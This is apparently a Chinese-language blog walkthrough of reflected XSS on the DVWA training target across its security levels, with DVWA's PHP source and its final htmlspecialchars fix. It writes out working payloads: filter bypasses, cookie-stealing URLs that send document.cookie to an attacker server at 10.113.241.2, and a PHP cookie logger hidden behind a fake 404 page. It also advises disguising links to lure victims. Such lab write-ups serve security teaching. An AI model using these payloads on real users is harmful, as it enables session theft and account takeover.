DVWA靶機-反射性XSS漏洞(Reflected)

DVWA靶機-反射性XSS漏洞(Reflected)

DVWA靶機-暴力破解(Brute Force) && DVWA靶機的四個安全等級

DVWA靶機-命令注入漏洞(Command Injection)

DVWA靶機-文件包含漏洞(File Inclusion)

DVWA靶機-文件上傳漏洞(File uploads)

DVWA靶機-跨站請求僞造(CSRF)

XSS跨站腳本攻擊

XSS(Cross Site Script):全稱爲跨站腳本攻擊,爲了與CSS(Cascading Style Sheet)層疊樣式表有所區別,所以在安全領域稱之爲XSS。

XSS攻擊:通常指黑客通過HTML注入(控制輸入變量),插入惡意腳本,從而在被攻擊者瀏覽網頁時,加載並執行攻擊者惡意製造的網頁程序,通常指JS,實際可包含java、VBscript、ActiveX、Flash、html,攻擊成功後,攻擊者可能得到一定的權限私密網頁內容會話cookie等。

這種行爲最初出現之時,所有的XSS攻擊案例都是跨域行爲,所以叫做跨站腳本。時至今日,隨着WEB端功能的複雜化,應用化,是否跨站已經不重要但是XSS這個名字依然留存下來。

反射性XSS挖掘方法

1.反射型XSS漏洞可能存在的環境

我們在許多網頁中可能都有搜索欄,在搜索欄中輸入關鍵詞查找後,頁面回回顯全部的或者部分的關鍵詞,且在url中也會出現該關鍵詞,此時該網頁可能就存在反射性XSS漏洞。
在這裏插入圖片描述
此時可以做一個簡單的測試,測試是否爲GET型傳參
alert()函數: 彈窗函數

<script>alert(1)</script>

在這裏插入圖片描述

2.漏洞檢驗-惡意代碼化

此時漏洞就發現了,我們可以編輯惡意型的代碼插入url中執行.

3.生成鏈接,誘導被攻擊者點擊

當發現這個漏洞後,我們需要對插入了惡意代碼的鏈接進行變形、比如長鏈接變短鏈接長鏈接變二維碼圖片鏈接等,目的就是要誘導用戶來點擊該鏈接,從而達成攻擊的效果。
在這裏插入圖片描述

1.DVWA-LOW等級下的反射型XSS漏洞

(1).本地用戶登錄,測試XSS漏洞所在位置

在LOW等級下,Reflectd型XSS的頁面回顯如下,在搜索欄裏輸入123,頁面回顯123,且在url中123也出現,此時該頁面可能存在反射型XSS漏洞,同時也不存在任何防護的安全策略,我們可以實施攻擊。
在這裏插入圖片描述
可以查到搜索欄的源代碼
在這裏插入圖片描述
在回顯Hello 123時使用的爲<pre>Hello 123</pre>
此時我們可以考慮打破<pre>的閉合,在輸入中加入其它函數或者標籤。
alert() && confirm() && prompt()函數: 都爲彈窗函數

我們在url中name後面加入<script>alert(1)</script>打破<pre>閉合,此時alert()函數執行,彈出1

在這裏插入圖片描述
此時可以進行一些有攻擊性的操作,我們在url中構造出獲取被攻擊者cookie值的函數,盜取用戶的cookie值。

(2).構造惡意鏈接、盜取用戶cookie

document.location: 指定cookie傳送站點
10.113.241.2: 爲攻擊者服務器
document.cookie: 獲取當前用戶的cookie值

http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://10.113.241.2/xss.php?cookie=' +document.cookie;</script>

xss.php:爲LOW等級獲取cookie的處理方法

//xss.php
<?php
    $cookie = $_GET['cookie'];	//獲取cookie變量的值
	$log = fopen("cookie.txt","w");	//創建並打開一個cookie.txt的文本權限爲寫入
    fwrite($log,$cookie."\n");	//把cookie的值寫入創建的文本
	fclose($log);	//關閉文本
?>
<h1>404<h1>
<h2>file not found.<h2>

當用戶點擊此鏈接時,通過document.cookie函數獲取當前用戶的cookie值,賦給站點的xss.php文件,xss.php中定義文件操作,將獲取的cookie寫入cookie.txt文件,此時攻擊者就獲取了用戶的cookie值。

如下是通過轉碼的惡意鏈接,用戶點擊這個鏈接會執行上述操作

192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E

被攻擊者點擊該鏈接後就會彈窗到如下頁面
在這裏插入圖片描述
要使該鏈接變的更加有迷惑性,可以進行長短鏈接的變換,鏈接生成二維碼,或者具有誘惑性的圖片鏈接等。

圖中爲用戶點擊惡意鏈接後在攻擊者本地生成的cookie.txt文件,裏面已經寫入了用戶的cookie值。
在這裏插入圖片描述
在這裏插入圖片描述

(3).以用戶的身份認證(cookie值)登錄網站

在DVWA中對於cookie沒有防範措施,也就是說,在用戶登錄的情況下,攻擊者可以利用用戶的cookie,直接與服務器獲取連接

在這塊,由於之前的cookie,我在瀏覽器中清除了一次,在此處爲了演示步驟,直接用cookie值連接,原理相同
在這裏插入圖片描述
LOW 等級下的反射性XSS源碼:
XSS (Reflected) Source:

array_key_exists()函數: 檢查某個數組中是否存在指定的鍵名,如果鍵名存在則返回 true,如果鍵名不存在則返回 false

array_key_exists(key,array):key和array都是必須存在的,key爲規定鍵名,array爲規定數組。

在源終GET得到的值是以數組的形式,然後判斷GET得到的name是不是空,不爲空,執行echo語句。

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

2.DVWA-Medium等級下的反射型XSS漏洞

(1).漏洞測試

在Medium等級下,必然存在着一些過濾策略,同low等級一樣,漏洞的位置是一樣的
在這裏插入圖片描述
此時我們用alert()函數,彈窗函數,測試是否能利用<script></script>標籤是否可用
在這裏插入圖片描述
此時發現alert()函數不能彈窗,且頁面回顯alert(1),此時我們可以分析到<script></script>未能起到作用,應該是被過濾,我們查看Medium等級下的源碼

XSS (Reflected) Source:
str_repalce()函數: 在此處過濾了標籤<script></script>,將GET中輸入中的script標籤替換爲空

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

繞過str_replace()函數:
1.雙寫繞過,雙寫<script>

<scri<script>pt>alert(1)</script>

2.大小寫字母繞過,str_replace()函數替換的爲字符串,此時可以將script標籤改爲大寫繞過

<ScRipt>alert(1)<ScRipt>

在這裏插入圖片描述

(2).構造惡意鏈接、盜取用戶cookie

同low等級一樣,構造的惡意鏈接爲

http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<ScRipt>document.location='http://10.113.241.2/xss1.php?cookie=' +document.cookie;</ScRipt>

low等級不同的是,<ScRipt></ScRipt>

xss1.php:爲Medium等級下獲取cookie的處理方法
創建的用戶保存用戶cookie的文檔爲,cookie1.txt文檔

//xss1.php
<?php
    $cookie = $_GET['cookie'];	//獲取cookie變量的值
	$log = fopen("cookie1.txt","w");	//創建並打開一個cookie1.txt的文本權限爲寫入
    fwrite($log,$cookie."\n");	//把cookie的值寫入創建的文本
	fclose($log);	//關閉文本
?>
<h1>404<h1>
<h2>file not found.<h2>

當用戶點擊此鏈接時,通過document.cookie函數獲取當前用戶的cookie值,賦給站點的xss1.php文件,xss1.php中定義文件操作,將獲取的cookie寫入cookie1.txt文件,此時攻擊者就獲取了用戶的cookie值。

如下是通過轉碼的惡意鏈接,用戶點擊這個鏈接會執行上述操作

192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3CScRipt%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss1.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2FScRipt%3E

在這裏插入圖片描述
要使該鏈接變的更加有迷惑性,可以進行長短鏈接的變換鏈接生成二維碼,或者具有誘惑性的圖片鏈接等。

此時cookie1.txt中已經寫入cookie值
在這裏插入圖片描述
在這裏插入圖片描述

(3).以用戶的身份認證(cookie值)登錄網站

在DVWA中對於cookie沒有防範措施,也就是說,在用戶登錄的情況下,攻擊者可以利用用戶的cookie,直接與服務器獲取連接

在這裏插入圖片描述

3.DVWA-High等級下的反射性XSS漏洞

在High等級下必然定義了比Medium等級更強的安全策略,我們查看其源碼
High等級下的反射性XSS源碼:
preg_replace()函數: 函數用於正則表達式的搜索和替換,替換爲空,i爲不區分大小寫

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

繞過方法:

使用其他的標籤,<img src=x onerror=alert(1)>
img調用圖片,在此處,當圖片的src所指的路徑不存在圖片,則彈出對話框,回顯1
在這裏插入圖片描述
由於preg_replace()函數,此時像low和medium等級的構造惡意鏈接方式不可用

4.impossible等級

impossible等級防範XSS反射型的一個案例,相當強大

impossible等級源碼:
impossible Reflected XSS Source:

htmlspecialchars()函數: 將特殊字符轉換爲 HTML 實體
token機制: 隨機值

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章